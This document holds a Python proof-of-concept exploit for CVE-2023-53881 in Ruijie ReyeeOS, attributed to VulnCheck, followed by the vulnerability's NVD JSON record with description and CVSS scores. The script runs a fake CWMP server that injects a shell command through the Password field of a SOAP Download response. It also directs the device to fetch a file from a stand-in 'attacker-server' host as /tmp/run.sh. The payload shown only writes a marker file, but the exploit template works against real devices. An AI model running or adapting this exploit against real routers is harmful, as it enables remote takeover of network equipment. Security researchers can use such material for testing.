CVE-2023-53881

#!/usr/bin/env python3 """ CVE-2023-53881 - ReyeeOS CWMP MITM RCE PoC Author: VulnCheck Note: For educational and authorized security testing only """ import http.server import socketserver import re import base64 # Malicious CWMP response with embedded command MALICIOUS_COMMAND = "$(echo test > /tmp/pwned)" CWMP_RESPONSE_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/"> <soap-env:Header> <cwmp:ID xmlns:cwmp="urn:dslforum-org:cwmp-1-0">{id}</cwmp:ID> </soap-env:Header> <soap-env:Body> <cwmp:InformResponse> <MaxEnvelopes>1</MaxEnvelopes> </cwmp:InformResponse> <cwmp:Download> <CommandKey>update</CommandKey> <FileType>1 Vendor Configuration File</FileType> <URL>http://attacker-server/fake-config</URL> <Username>admin</Username> <Password>{password}</Password> <FileSize>0</FileSize> <TargetFilename>/tmp/run.sh</TargetFilename> <DelaySeconds>0</DelaySeconds> </cwmp:Download> </soap-env:Body> </soap-env:Envelope>""" class CWMPHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Parse incoming CWMP Inform request content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length).decode('utf-8') # Log the received request for analysis print(f"[*] Received CWMP request from victim") print(f"[*] Request headers: {dict(self.headers)}") # Generate malicious response with RCE payload response_id = "123456" malicious_response = CWMP_RESPONSE_TEMPLATE.format( id=response_id, password=f"admin; {MALICIOUS_COMMAND} #" ) # Send malicious CWMP response self.send_response(200) self.send_header('Content-Type', 'text/xml') self.send_header('Content-Length', len(malicious_response)) self.end_headers() self.wfile.write(malicious_response.encode('utf-8')) print("[+] Sent malicious CWMP response with embedded command") def log_message(self, format, *args): # Suppress default logging pass def start_fake_cwmp_server(port=7547): """Start the malicious CWMP server to receive device connections""" with socketserver.TCPServer(("", port), CWMPHandler) as httpd: print(f"[*] Fake CWMP server listening on port {port}") print(f"[*] Waiting for ReyeeOS device to connect...") httpd.serve_forever() if __name__ == "__main__": start_fake_cwmp_server()

{"cve": {"id": "CVE-2023-53881", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:50.993", "lastModified": "2025-12-18T22:38:22.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ReyeeOS 1.204.1614 contains an unencrypted CWMP communication vulnerability that allows attackers to intercept and manipulate device communication through a man-in-the-middle attack. Attackers can create a fake CWMP server to inject and execute arbitrary commands on Ruijie Reyee Cloud devices by exploiting the unprotected HTTP polling requests."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijienetworks:reyee_os:1.204.1614:*:*:*:*:*:*:*", "matchCriteriaId": "F6647043-B3D1-4D96-A2C8-9184AC647231"}]}]}], "references": [{"url": "https://ruijienetworks.com", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/51642", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/reyeeos-man-in-the-middle-remote-code-execution-via-cwmp", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}